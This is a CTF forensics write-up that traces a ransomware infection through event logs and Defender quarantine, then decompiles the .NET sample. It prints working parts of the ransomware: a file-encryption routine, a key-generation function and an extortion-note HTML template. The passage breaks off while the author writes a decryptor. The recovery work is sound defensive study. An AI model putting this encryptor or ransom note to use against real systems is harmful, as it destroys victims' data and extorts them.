Writeup for Cyber Apocalypse CTF 2024 challenge Confinement

Posted on Mar 16, 2024

Hack The Box arranged Cyber Apocalyse 2024 between 9 Mar - 14 Mar. It was a five day event with a 20 person per team limit. This CTF is in the usual Jeopardy style and divided into categories of misc, reversing, forensics, web, crypto, pwn, blockchain and hardware.

As you can see a lot of players joied for this years event. There’s plenty of challenges to choose from but the ones that involved most members from our team this year was a challenge called Confinement. This was a challenge in the forensics category and it was rated as hard.

Recon

First of all let’s find out everything we can about this challenge by reading the description:

“Our clan’s network has been infected by a cunning ransomware attack, encrypting irreplaceable data essential for our relentless rivalry with other factions. With no backups to fall back on, we find ourselves at the mercy of unseen adversaries, our fate uncertain. Your expertise is the beacon of hope we desperately need to unlock these encrypted files and reclaim our destiny in The Fray. Note: The valuable data is stored under \Documents\Work”

It’s all about a ransomeware attack where our mission is to restore the encrypted files. Let’s memorize that what we are looking for is stored under \Documents\Work. Seeing those \ instead of / also makes me belive that we are dealing with a Windows system here. No time to waste, let’s download the file and get it into a Windows machine.

Analysing the downloaded files

We got a single file called forensics_confinement.zip. First of all let’s unzip it and see what we find inside.

PS C:\Users\f1rstr3am\Downloads> Expand-Archive .\forensics_confinement.zip
PS C:\Users\f1rstr3am\Downloads> cd .\forensics_confinement\
PS C:\Users\f1rstr3am\Downloads\forensics_confinement> dir


    Directory: C:\Users\f1rstr3am\Downloads\forensics_confinement


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          3/8/2024   2:16 PM      273161662 Confinement.ad1

Inside there was a single file called Confinement.ad1. Experienced forensics probably know this already but just to be sure let’s see if our best friend ChatGPT can tell us what that AD1 extension stands for.

That was a rather loud and clear message from ChatGPT. A file with an AD1 extension is probably an image of a folder or a disk created with Exterros FTK Imager. So let’s try to use that to find out what’s available inside that image.

Accessing files within Confinment.ad1 using FTK Imager

We are going to use FTK Imager which is available for free download from Exterros homepage. First of all we download and install the software. And once we start the application FTK Imager it looks like this.

Im sure this software can do thousands of cool things but we are just after quick access to the files within that image. Under the file menu there’s an option for image mounting. When we select that we are met with a dialog where we can mount images.

We choose the Confinement.ad1 file and the default option to use D: as a drive letter for that mount. Click the mount button and it takes a few seconds before it’s done. And now if we head over to our command prompt again an take a look at D:

PS C:\Users\f1rstr3am\Downloads\forensics_confinement> cd 'd:\`[root`]\'
PS d:\[root]> dir


    Directory: d:\[root]


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          3/7/2024   3:21 PM                $Recycle.Bin
d-----          3/7/2024   3:21 PM                $WinREAgent
d-r---          3/7/2024   3:21 PM                Program Files
d-r---          3/7/2024   3:21 PM                Program Files (x86)
d-----          3/7/2024   3:21 PM                ProgramData
d-----          3/7/2024   3:20 PM                Recovery
d-----          3/7/2024   3:20 PM                System Volume Information
d-r---          3/7/2024   3:21 PM                Users
d-----          3/7/2024   3:20 PM                Windows

Yes, that looks pretty much like a standard windows machine to me. So now what? Let’s just dive into that file system head and shoulders? NO. We already know that there has been an attack. There are encrypted files which we are trying to save.

If there was a SIEM avaialble we could have used it to correlate events and try to identify the orgin of the attack. But now we need to do that work on an already infected machine. But a good place to start would obviously be the logs.

Hunting for threats with Chainsaw and Sigma

So there happens to be a set of tools that we can use to hunt through the Windows Event Logs and look for signs of threats. The software is called Chainsaw and is available as open source here.

we also need a set of rules that can identify these threats. There’s a generic signature format for SIEM systems called Sigma available here. There is already a precompiled version of Chainsaw that includes Sigma available here.

We make sure to download one that includes the sigma rules and unzip it.

PS C:\Users\f1rstr3am\Downloads\forensics_confinement> Expand-Archive ..\chainsaw_all_platforms+rules.zip .
PS C:\Users\f1rstr3am\Downloads\forensics_confinement> dir


    Directory: C:\Users\f1rstr3am\Downloads\forensics_confinement


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         3/15/2024  11:42 AM                chainsaw
-a----          3/8/2024   2:16 PM      273161662 Confinement.ad1

We are now ready to go hunting for threats in the Windows Event Logs. There is plenty of good information about the syntax on Chainsaws github page. There are also diffrent examples that can be downloaded. We came up with a syntax where we use the sigma-event-logs-all.yml ruleset, we tell chainsaw where it should look for eventlogs and finally we want our result in JSON format.

PS C:\Users\f1rstr3am\Downloads\forensics_confinement>c cd chainsaw
PS C:\Users\f1rstr3am\Downloads\forensics_confinement\chainsaw> .\chainsaw_x86_64-pc-windows-msvc.exe hunt -s .\sigma\ --mapping .\mappings\sigma-event-logs-all.yml -r .\rules\ 'd:\[root]\Windows\System32\winevt\Logs\' --json > ../events.json

 ██████╗██╗  ██╗ █████╗ ██╗███╗   ██╗███████╗ █████╗ ██╗    ██╗
██╔════╝██║  ██║██╔══██╗██║████╗  ██║██╔════╝██╔══██╗██║    ██║
██║     ███████║███████║██║██╔██╗ ██║███████╗███████║██║ █╗ ██║
██║     ██╔══██║██╔══██║██║██║╚██╗██║╚════██║██╔══██║██║███╗██║
╚██████╗██║  ██║██║  ██║██║██║ ╚████║███████║██║  ██║╚███╔███╔╝
 ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝ ╚══╝╚══╝
    By WithSecure Countercept (@FranticTyping, @AlexKornitzer)

[+] Loading detection rules from: .\rules\, .\sigma\
[!] Loaded 3160 detection rules (369 not loaded)
[+] Loading forensic artefacts from: d:\[root]\Windows\System32\winevt\Logs\ (extensions: .evtx, .evt)
[+] Loaded 162 forensic artefacts (104.1 MB)
[+] Hunting: [========================================] 162/162 -
[+] 601 Detections found on 562 documents

It takes a little time and in the end Chainsaw found 601 detections. We should have a JSON-file waiting for us in our main directory. Let’s head over to the command prompt again to see what it looks like.

PS C:\Users\f1rstr3am\Downloads\forensics_confinement\chainsaw> cd ..
PS C:\Users\f1rstr3am\Downloads\forensics_confinement> dir


    Directory: C:\Users\f1rstr3am\Downloads\forensics_confinement


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         3/15/2024  12:21 PM                chainsaw
-a----          3/8/2024   2:16 PM      273161662 Confinement.ad1
-a----         3/15/2024   2:03 PM        4031300 events.json

That’s quite a big one. We will need some good tool to take a look at this. THIS is where the hard work starts. As far as we know this is as far as clever tools can take us. Now we need to use our experience combined with the information about the context that we got when we manually examine this.

Examining the results from Chainsaw + Sigma

Ther are probably very good tools to render JSON in nice tables, columns and make it browsable in every way. But sometimes it’s a good thing to keep things simple. So we choose to load events.json in VSCode which is available for free here. There is plenty of good JSON plugins to use in VSCode. Whatever you choose you will be able to browse through the JSON in a view like this:

And all we need to put in now is hard work. We will scroll through JSON formatted objects like this:

    {
        "group": "Sigma",
        "kind": "individual",
        "document": {
            "kind": "evtx",
            "path": "d:\\[root]\\Windows\\System32\\winevt\\Logs\\Security.evtx",
            "data": {
                "Event": {
                    "EventData": {
                        "NewTime": "2024-01-29T16:51:21.330000Z",
                        "PreviousTime": "2024-01-30T07:51:21.330223Z",
                        "ProcessId": "0x46c",
                        "ProcessName": "C:\\Windows\\System32\\rundll32.exe",
                        "SubjectDomainName": "WORKGROUP",
                        "SubjectLogonId": "0x3e7",
                        "SubjectUserName": "WIN-6NR2F6EA8VA$",
                        "SubjectUserSid": "S-1-5-18"
                    },
                    "System": {
                        "Channel": "Security",
                        "Computer": "DESKTOP-BNDE3TU",
                        "Correlation": null,
                        "EventID": 4616,
                        "EventRecordID": 167,
                        "Execution_attributes": {
                            "ProcessID": 4,
                            "ThreadID": 284
                        },
                        "Keywords": "0x8020000000000000",
                        "Level": 0,
                        "Opcode": 0,
                        "Provider_attributes": {
                            "Guid": "54849625-5478-4994-A5BA-3E3B0328C30D",
                            "Name": "Microsoft-Windows-Security-Auditing"
                        },
                        "Security": null,
                        "Task": 12288,
                        "TimeCreated_attributes": {
                            "SystemTime": "2024-01-29T16:51:21.330506Z"
                        },
                        "Version": 1
                    }
                },
                "Event_attributes": {
                    "xmlns": "http://schemas.microsoft.com/win/2004/08/events/event"
                }
            }
        }

Looking at every one and trying to determine if it’s relevant. But we have to decide what we are looking for. We know there’s been a ransomware attack. So a good thing to look for are events related to that and perhaps finding the malware itself. We will probably know what we are looking for when we see it.

Quite a bit down we find this:

  {
        "group": "Antivirus",
        "kind": "individual",
        "document": {
            "kind": "evtx",
            "path": "d:\\[root]\\Windows\\System32\\winevt\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx",
            "data": {
                "Event": {
                    "EventData": {
                        "Action ID": "2",
                        "Action Name": "Quarantine",
                        "Additional Actions ID": "0",
                        "Additional Actions String": "No additional actions required",
                        "Category ID": "34",
                        "Category Name": "Tool",
                        "Detection ID": "{A359BA71-65A5-4032-A845-95D86D1965CE}",
                        "Detection Time": "2024-03-05T12:42:05.984Z",
                        "Detection User": "",
                        "Engine Version": "AM: 1.1.24010.10, NIS: 1.1.24010.10",
                        "Error Code": "0x00000000",
                        "Error Description": "The operation completed successfully. ",
                        "Execution ID": "1",
                        "Execution Name": "Suspended",
                        "FWLink": "https://go.microsoft.com/fwlink/?linkid=37020&name=HackTool:Win32/LaZagne&threatid=2147725068&enterprise=0",
                        "Origin ID": "1",
                        "Origin Name": "Local machine",
                        "Path": "file:_C:\\Users\\tommyxiaomi\\Documents\\browser-pw-decrypt.exe",
                        "Post Clean Status": "0",
                        "Pre Execution Status": "0",
                        "Process Name": "Unknown",
                        "Product Name": "Microsoft Defender Antivirus",
                        "Product Version": "4.18.24010.12",
                        "Remediation User": "NT AUTHORITY\\SYSTEM",
                        "Security intelligence Version": "AV: 1.405.1091.0, AS: 1.405.1091.0, NIS: 1.405.1091.0",
                        "Severity ID": "4",
                        "Severity Name": "High",
                        "Source ID": "3",
                        "Source Name": "Real-Time Protection",
                        "State": "2",
                        "Status Code": "3",
                        "Status Description": "",
                        "Threat ID": "2147725068",
                        "Threat Name": "HackTool:Win32/LaZagne",
                        "Type ID": "0",
                        "Type Name": "Concrete",
                        "Unused": "",
                        "Unused2": "",
                        "Unused3": "",
                        "Unused4": "",
                        "Unused5": "",
                        "Unused6": ""
                    }
}

This looks very interesting. Microsoft Windows Defender has identified the file browser-pw-decrypt.exe as a hacker tool. And it’s actuallt placed in the directory C:\Users\tommyxiaomi\Documents\. That file does not belong there. Just below this event we find 3 more similar ones indicating that a bunch of files have been put in quarantine by Microsoft Defender. These are the files:

C:\\Users\\tommyxiaomi\\Documents\\browser-pw-decrypt.exe
C:\\Users\\tommyxiaomi\\Documents\\mimikatz.exe
C:\\Users\\tommyxiaomi\\Documents\\fscan64.exe
C:\\Users\\tommyxiaomi\\Documents\\intel.exe

Let’s analyse this before going further. browser-pw-decrypter.exe has a rather selfdescribing filename. We all know about mimikatz. fscan64.exe is a rather famous hacker tool used to scan networks. intel.exe is the one that drags our attention. It’s not known to us from before. These could all be false filenames but let’s asume not.

Now we need to get our hands on that file so we can start reverse engineering it. We know where it’s stored so let’s take a look.

But there is nothing there??? Where did the files go?

They were put in quarantine remember?! So how do we get them out of there? Well we are lucky, there’s a tool called defender-dump that can help us with just that. Let’s go defender-dumping!

Extracting files from quarantine with defender-dump

First of all we need to get our hands on that defender-dump software. Let’s just clone the complete repository down from github.

PS C:\Users\f1rstr3am\Downloads\forensics_confinement> git clone https://github.com/knez/defender-dump.git
Cloning into 'defender-dump'...
remote: Enumerating objects: 40, done.
remote: Counting objects: 100% (40/40), done.
remote: Compressing objects: 100% (34/34), done.
remote: Total 40 (delta 12), reused 26 (delta 6), pack-reused 0
Receiving objects: 100% (40/40), 152.54 KiB | 1.44 MiB/s, done.
Resolving deltas: 100% (12/12), done.

Now lets lets run it using python. All we need to do is tell it where the root of the filesystem is. We point to our mounted D:[root] where our windows machines filesystem is located.

PS C:\Users\f1rstr3am\Downloads\forensics_confinement> cd .\defender-dump\
PS C:\Users\f1rstr3am\Downloads\forensics_confinement\defender-dump> python .\defender-dump.py d:\[root] --dump
C:\Users\f1rstr3am\Downloads\forensics_confinement\defender-dump\defender-dump.py:175: SyntaxWarning: invalid escape sequence '\)'
  help='root directory where Defender is installed (example C:\)'
Exporting browser-pw-decrypt.exe
Exporting fscan64.exe
Exporting intel.exe
Exporting mimikatz.exe
File 'quarantine.tar' successfully created

Great, just the files we expected to see. They were all put inside a tar archive. You could kind of guess why that is it’s standard behaviour! Windows Defender on our machine would probably quarantine these files again once they touch our filesystem. But that’s not a problem on my forensics machine I have disabled the AV, so let’s extract the files.

PS C:\Users\f1rstr3am\Downloads\forensics_confinement\defender-dump> tar -xzvf .\quarantine.tar
x browser-pw-decrypt.exe
x fscan64.exe
x intel.exe
x mimikatz.exe

Looks like everything is okay to be sure let’s just see that sizes looks reasonable.

PS C:\Users\f1rstr3am\Downloads\forensics_confinement\defender-dump> dir


    Directory: C:\Users\f1rstr3am\Downloads\forensics_confinement\defender-dump


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          1/1/1970   1:00 AM       11849248 browser-pw-decrypt.exe
-a----         3/16/2024  12:46 PM           6355 defender-dump.py
-a----         3/16/2024  12:46 PM          52614 demo.gif
-a----          1/1/1970   1:00 AM        6284288 fscan64.exe
-a----          1/1/1970   1:00 AM          17920 intel.exe
-a----          1/1/1970   1:00 AM        1355679 mimikatz.exe
-a----         3/16/2024  12:47 PM       19517440 quarantine.tar
-a----         3/16/2024  12:46 PM           1148 README.md

That looks okay to me. Now it’s time to start reverse engineering the intel.exe file. But first of all we need to pick a tool that fits the job and to be able to do that we need to know what kind of exe we are dealing with here. I tend to use the file tool for this. I need to switch to my wsl2/kali prompt just for a while.

┌──(f1rstr3am㉿DESKTOP-5STGR4D)-[/mnt/c/Users/f1rstr3am/Downloads/forensics_confinement/defender-dump]
└─$ file *.exe
browser-pw-decrypt.exe: PE32+ executable (console) x86-64, for MS Windows, 7 sections
fscan64.exe:            PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows, 3 sections
intel.exe:              PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
mimikatz.exe:           PE32+ executable (console) x86-64, for MS Windows, 6 sections

Ok, all of the files are PE32+ executables and intel.exe seems to contain .Net code. That makes me really happy. This means I can use one of my absolute favorite tools going further. The almighty dnSpy.

Reverse engineering the malware with dnSpy

Like I said, dnSpy is one of my favourite tools. It has some very nice tricks up it’s sleeves. You can get hold of the application here. Once you unpacked dnSpy and started it, it’s just a matter of dropping the intel.exe into it’s Assembly Explorer and magic happens.

That’s so cool you can see all the classes and every single line of code in readable C#. And first of all we see a class called Encryptor. Something tells me we are on the right path here.

You can debug the application right here in dnSpy and even patch it. But we are going to use one of the best features of dnSpy. When you have your exe file imported you can actually export the whole thing to a complete working Visual Studio Project.

Let’s just do that and I will explain why that’s a good idea when it’s done. From the file menu just choose export to project.

We can just go with the defaults here and choose to export the project. The fine thing with this is that now we have the complete source code of the malware in a working visual studio project.

From here we can analyze the source code. We can debug it and we can even change it and add features which often can come in handy when trying to reverse the makings of a malware. Now let’s move on to reverse engineering this with Visual Studio.

Reverse engineering the malware with Visual Studio

First of all you need to have some version of Visual Studio installed. You can get the Community Edition here Once we have that installed we can navigate to our newly created project and double-click that Encryptor.sln. The project will be opened in Visual Studio. But wait some kind of problem arises here.

It seems that this malware is written in an older version of .NET which I do not have the development libraries for. We could just download them or try to upgrade the project. We will just go with the later option here, it should not matter at this point.

After that Visual Studio starts up and everything looks fine. Now it’s time to dig deep into that source code to see what is going on. A good place to start is obviously the Programs main function which looks like this:

private static void Main(string[] args)
{
    Utility utility = new Utility();
    PasswordHasher passwordHasher = new PasswordHasher();
    if (!Dns.GetHostName().Equals("DESKTOP-A1L0P1U", StringComparison.OrdinalIgnoreCase))
    {
        return;
    }
    Program.UID = utility.GenerateUserID();
    utility.Write("\nUserID = " + Program.UID, ConsoleColor.Cyan);
    Alert alert = new Alert(Program.UID, Program.email1, Program.email2);
    Program.email = string.Concat(new string[]
    {
        Program.email1,
        " And ",
        Program.email2,
        " (send both)"
    });
    Program.coreEncrypter = new CoreEncrypter(passwordHasher.GetHashCode(Program.UID, Program.salt), alert.ValidateAlert(), Program.alertName, Program.email);
    utility.Write("\nStart ...", ConsoleColor.Red);
    Program.Enc(Environment.CurrentDirectory);
    Console.ReadKey();
}

It does some setup of things and down in the end of the function it seems as if the malwares encryption functions are setup and executed.

Program.coreEncrypter = new CoreEncrypter(passwordHasher.GetHashCode(Program.UID, Program.salt), alert.ValidateAlert(), Program.alertName, Program.email);
Program.Enc(Environment.CurrentDirectory);

That CoreEncrypter class sure looks interesting to examine further. After a bit of diging inside it we find a function called EncryptFile. That would be the core of it all and a good place to find out what the malware does.

public void EncryptFile(string file)
{
    byte[] array = new byte[65535];
    byte[] salt = new byte[]
    {
        0,
        1,
        1,
        0,
        1,
        1,
        0,
        0
    };
    Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(this.password, salt, 4953);
    RijndaelManaged rijndaelManaged = new RijndaelManaged();
    rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
    rijndaelManaged.Mode = CipherMode.CBC;
    rijndaelManaged.Padding = PaddingMode.ISO10126;
    rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
    FileStream fileStream = null;
    try
    {
        if (!File.Exists(Directory.GetDirectoryRoot(file) + "\\" + this.alertName + ".hta"))
        {
            File.WriteAllText(Path.GetDirectoryName(file) + "\\" + this.alertName + ".hta", this.alert);
        }
        File.WriteAllText(Path.GetDirectoryName(file) + "\\" + this.alertName + ".hta", this.alert);
    }
    catch (Exception ex)
    {
        Console.ForegroundColor = ConsoleColor.Red;
        Console.WriteLine(ex.Message);
        Console.ForegroundColor = ConsoleColor.Red;
    }
    try
    {
        fileStream = new FileStream(file, FileMode.Open, FileAccess.ReadWrite);
    }
    catch (Exception ex2)
    {
        Console.ForegroundColor = ConsoleColor.Red;
        Console.WriteLine(ex2.Message);
        Console.ForegroundColor = ConsoleColor.Red;
    }
    if (fileStream.Length < 1000000L)
    {
        string path = null;
        FileStream fileStream2 = null;
        CryptoStream cryptoStream = null;
        try
        {
            path = file + ".korp";
            fileStream2 = new FileStream(path, FileMode.Create, FileAccess.Write);
            cryptoStream = new CryptoStream(fileStream2, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);
        }
        catch (Exception ex3)
        {
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine(ex3.Message);
            Console.ForegroundColor = ConsoleColor.Red;
        }
        try
        {
            int num;
            do
            {
                num = fileStream.Read(array, 0, array.Length);
                if (num != 0)
                {
                    cryptoStream.Write(array, 0, num);
                }
            }
            while (num != 0);
            fileStream.Close();
            cryptoStream.Close();
            fileStream2.Close();
        }
        catch (Exception ex4)
        {
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine(ex4.Message);
            Console.ForegroundColor = ConsoleColor.Red;
        }
        try
        {
            File.Delete(file);
            return;
        }
        catch (Exception)
        {
            File.Delete(path);
            return;
        }
    }
    string destFileName = file + ".korp";
    try
    {
        long position = fileStream.Position;
        int num2 = fileStream.ReadByte() ^ 255;
        fileStream.Seek(position, SeekOrigin.Begin);
        fileStream.WriteByte((byte)num2);
        fileStream.Close();
        File.Move(file, destFileName);
    }
    catch (Exception ex5)
    {
        Console.ForegroundColor = ConsoleColor.Red;
        Console.WriteLine(ex5.Message);
        Console.ForegroundColor = ConsoleColor.Red;
    }
}

There is obviusly some encryption of files going on here. RFC2898 is mentioned and Rijndael. But we do not really care at this point. The encrypted files seems to have a korp extension added to them. Let’s remember that. Finally my attention comes down to this line of code:

Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(this.password, salt, 4953);

The encryption is setup using a password (I would call it a key) and a salt like it often is. If we can find these in the source code we might be able to decrypt the encrypted files. Let’s start with the salt. We can find it right here in the class and it looks pretty hardcoded.

byte[] salt = new byte[]
{
    0,
    1,
    1,
    0,
    1,
    1,
    0,
    0
};

That’s a good thing for us we can just use this right as it is when writing a decryption function. But how about the password (key)? Well we have to go back to the main function from where the password (key) is passed into the objects constructor.

Program.coreEncrypter = new CoreEncrypter(passwordHasher.GetHashCode(Program.UID, Program.salt), alert.ValidateAlert(), Program.alertName, Program.email);

It looks like it’s doing some kind of hash function of the Program.UID together with the Program.salt to produce a key. Since the hasing function is available for us right here we can reuse that later. But we need to find out more about the UID and this new salt here. We can find their definitions in the end of the Program class.

// Token: 0x04000004 RID: 4
private static string salt = "0f5264038205edfb1ac05fbb0e8c5e94";

// Token: 0x04000005 RID: 5
private static string email;

// Token: 0x04000006 RID: 6
private static string softwareName = "Encrypter";

// Token: 0x04000007 RID: 7
private static CoreEncrypter coreEncrypter = null;

// Token: 0x04000008 RID: 8
private static string UID = null;

That’s great this salt is also hardcoded here. The UID is just set to null which indicates to me that it’s set somwhere else in the code. If we go back to the main function we can actually find this code.

Program.UID = utility.GenerateUserID();

We need to go and look at that GenerateUserId fucntion which can be found in the Utility class.

public string GenerateUserID()
{
    Random random = new Random();
    string[] array = new string[]
    {
        "A",
        "B",
        "C",
        "D",
        "E",
        "F",
        "G",
        "H",
        "I",
        "J",
        "K",
        "L",
        "M",
        "N",
        "O",
        "P",
        "Q",
        "R",
        "S",
        "T",
        "U",
        "V",
        "W",
        "X",
        "Y",
        "Z"
    };
    string[] array2 = new string[]
    {
        "0",
        "1",
        "2",
        "3",
        "4",
        "5",
        "6",
        "7",
        "8",
        "9"
    };
    string text = null;
    for (int i = 1; i < 15; i++)
    {
        if (i % 2 == 0)
        {
            text += array[random.Next(0, array.Length)];
        }
        else
        {
            text += array2[random.Next(0, array2.Length)];
        }
    }
    return text;
}

Ohh, NO! This was not good news for us. The password is a random string of capital letters and numbers. It’s 14 characters long and every second byte will be a number and the other bytes will be capital letters.

Well I wont do the math on this one to find out how many variants we need to bruteforce, but we do need to find another way. Perhaps this Program.UID is used for something more and we can find it somwhere?

Let’s use a good function in Visual Studio to find all references of Program.UID. Mark the Program.UID and press CTRL + K + R. Visual Studio vill find every line of code referencing that variable.

We know about most of these references already but that Alert thing looks interesting. Let’s see what it does.

Alert alert = new Alert(Program.UID, Program.email1, Program.email2);

Program.UID is further passed into the class constructor and that source code looks like this:

public Alert(string AttackID, string email1, string email2)
{
    this.AttackID = AttackID;
    this.email1 = email1;
    this.email2 = email2;
}

Since the Program.UID was passed as the first argument to the constructor we know that it’s now stored in the AttackID. Let’s dig further in the code to see what that is used for.

public string ValidateAlert()
{
    this.html = string.Concat(new string[]
    {
        "\r\n\t\t\t\t<!DOCTYPE html>\r\n\t\t\t\t<html lang='en'>\r\n\t\t\t\t<head>\r\n\t\t\t\t\t<meta charset='UTF-8'>\r\n\t\t\t\t\t<meta http-equiv='X-UA-Compatible' content='IE=edge'>\r\n\t\t\t\t\t<meta name='viewport' content='width=device-width, initial-scale=1.0'>\r\n\t\t\t\t\t<title>The Fray Ultimatum</title>\r\n\t\t\t\t\t<style>\r\n\t\t\t\t\t\tbody {\r\n\t\t\t\t\t\t\tfont-family: Arial, sans-serif;\r\n\t\t\t\t\t\t\tbackground-color: #1f1f1f;\r\n\t\t\t\t\t\t\tcolor: #ffffff;\r\n\t\t\t\t\t\t\tmargin: 0;\r\n\t\t\t\t\t\t\tpadding: 0;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t.container {\r\n\t\t\t\t\t\t\tmax-width: 1000px;\r\n\t\t\t\t\t\t\tmargin: 50px auto;\r\n\t\t\t\t\t\t\tpadding: 20px;\r\n\t\t\t\t\t\t\tbackground-color: #2b2b2b;\r\n\t\t\t\t\t\t\tborder-radius: 10px;\r\n\t\t\t\t\t\t\tbox-shadow: 0 0 10px rgba(0, 0, 0, 0.5);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\th1 {\r\n\t\t\t\t\t\t\ttext-align: center;\r\n\t\t\t\t\t\t\tmargin-bottom: 20px;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t.message {\r\n\t\t\t\t\t\t\tmargin-bottom: 30px;\r\n\t\t\t\t\t\t\tpadding: 20px;\r\n\t\t\t\t\t\t\tbackground-color: #3b3b3b;\r\n\t\t\t\t\t\t\tborder-radius: 5px;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t.attention {\r\n\t\t\t\t\t\t\tcolor: #ff3d3d;\r\n\t\t\t\t\t\t\tfont-size: 30px;\r\n\t\t\t\t\t\t\tfont-weight: bold;\r\n\t\t\t\t\t\t\tdisplay: flex;\r\n\t\t\t\t\t\t\talign-items: center;\r\n\t\t\t\t\t\t\tjustify-content: center;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t.instructions {\r\n\t\t\t\t\t\t\tfont-size: 16px;\r\n\t\t\t\t\t\t\tline-height: 1.6;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t.highlight {\r\n\t\t\t\t\t\t\tbackground-color: #ff3d3d;\r\n\t\t\t\t\t\t\tcolor: #ffffff;\r\n\t\t\t\t\t\t\tpadding: 3px 8px;\r\n\t\t\t\t\t\t\tborder-radius: 3px;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t.footer {\r\n\t\t\t\t\t\t\ttext-align: center;\r\n\t\t\t\t\t\t\tmargin-top: 30px;\r\n\t\t\t\t\t\t\tfont-size: 14px;\r\n\t\t\t\t\t\t\tcolor: #888888;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t</style>\r\n\t\t\t\t</head>\r\n\t\t\t\t<body>\r\n\t\t\t\t\t<div class='container'>\r\n\t\t\t\t\t\t<h1><span class='highlight'>The Fray Ultimatum</span></h1>\r\n\t\t\t\t\t\t<div class='message'>\r\n\t\t\t\t\t\t\t<p class='attention'><span>\ud83d\udd12 ATTENTION FACTIONS \ud83d\udd12</span></p>\r\n\t\t\t\t\t\t\t<p><center>What's this? Your precious data seems to have fallen into the hands of KORP™, the all-powerful overseer of The Fray.\r\n\t\t\t\t\t\t\tConsider it a test of your faction's mettle. Will you rise to the challenge or crumble under the weight of your encrypted files?</p>\r\n\t\t\t\t\t\t\t<p>For further instructions, send your Faction ID to the provided email address:</p>\r\n\t\t\t\t\t\t\t<p>Email: <span>",
        this.email1,
        "</span></p>\r\n\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t<div class='message'>\r\n\t\t\t\t\t\t\t<p class='attention'>\ud83d\udcb0\ud83d\udca3 ACT SWIFTLY OR FACE YOUR DEMISE \ud83d\udca3\ud83d\udcb0</p>\r\n\t\t\t\t\t\t\t<p class='instructions'>\ud83d\udeab DO NOT attempt to disrupt the encryption process; it's futile \ud83d\ude0f<br>\r\n\t\t\t\t\t\t\t\ud83d\udeab DO NOT rely on feeble antivirus software; they are but toys in our hands \ud83d\ude09<br>\r\n\t\t\t\t\t\t\t\ud83d\udeab DO NOT dream of accessing your encrypted files; they are now under our control \ud83d\ude08<br>\r\n\t\t\t\t\t\t\t\ud83d\udeab DO NOT trust anyone, not even us, for decryption<br>\r\n\t\t\t\t\t\t\t<center><p>Failure to comply will result in the permanent loss of your precious data \ud83d\udca5</p>\r\n\t\t\t\t\t\t\t<p>Once the clock strikes zero, your data will be lost forever \ud83d\udd52</p>\r\n\t\t\t\t\t\t\t<p>Before even thinking of payment, you may submit up to 3 test files for free decryption, each file not exceeding 5 MB in size \ud83d\udcce</p>\r\n\t\t\t\t\t\t\t<p>And remember, these test files should contain no vital information!</p>\r\n\t\t\t\t\t\t\t<p>***PAYMENT IS STRICTLY FORBIDDEN UNTIL TEST FILE DECRYPTION***</p></center></p>\r\n\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t<div class='footer'>Faction ID = <span>",
        this.AttackID,
        "</span></div>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</body>\r\n\t\t\t\t</html>"
    });
    return this.html;
}

That’s a function which renders some html code. Program.UID (AttackID) is actually present inside that html. By reading some of the text it looks like this is a message from the extortors. Let’s see if this html file is saved somewhere. If we go back to the main function we find this:

Program.coreEncrypter = new CoreEncrypter(passwordHasher.GetHashCode(Program.UID, Program.salt), alert.ValidateAlert(), Program.alertName, Program.email);

We need to take a look at the CoreEncryptor constructor and it looks like this:

public CoreEncrypter(string password, string alert, string alertName, string email)
{
    this.password = password;
    this.alert = alert;
    this.alertName = alertName;
    this.email = email;
}

Alert is saved in a class member here. You know the drill know, mark alert, press CTRL + K + R and we can find where its referenced. This time we end up at this snippet of code:

File.WriteAllText(Path.GetDirectoryName(file) + "\\" + this.alertName + ".hta", this.alert);

That’s REALLY good news for us. There seems to be a file with an hta extension stored on the victims machine. All the html including our AttackID (Program.UID) is written to that file. We could go back and try to get the exact name of it but at this time I am tired of reading code. Let’s just take a look at the target system.

As a matter of fact we will go straight for that Document\work folder, if you remeber it from the initial instructions. Inside that folder we find one single directory called Ncomp.

Things are getting clear now. There’s an encrypted file with that korp extension that we saw in the code. This seems to be an excel file which now is encrypted. There’s a file called ULTIMATUM.hta. If we are right that file should contain html. Let’s just copy it to our working folder, change it’s extention to html and open it in a browser.

And look there down in the bottom. We got the UID we are looking for. So now that we have the salt and the key (Program.UID) we should be able to patch the malware with a decryption function so that we can restore the encrypted files.

Patching the malware to decrypt the encrypted file

First of all we need a function that can decrypt the encrypted files. We could quite easily do that ourselves but this seems like a point where we could save some time by asking ChatGPT for some help.

I just send the complete CoreEncryptor class to ChatGPT and ask it: “Can you help me write a DecryptFile function for this class”. And this is the answer we get:

Further on it gives us a complete new Decryptor class:

using System;
using System.IO;
using System.Security.Cryptography;

public class Decryptor
{
    private string password;
    private string alertName;
    private string alert;

    public Decryptor(string password, string alertName, string alert)
    {
        this.password = password;
        this.alertName = alertName;
        this.alert = alert;
    }

    public void DecryptFile(string file)
    {
        byte[] salt = new byte[]
        {
            0,
            1,
            1,
            0,
            1,
            1,
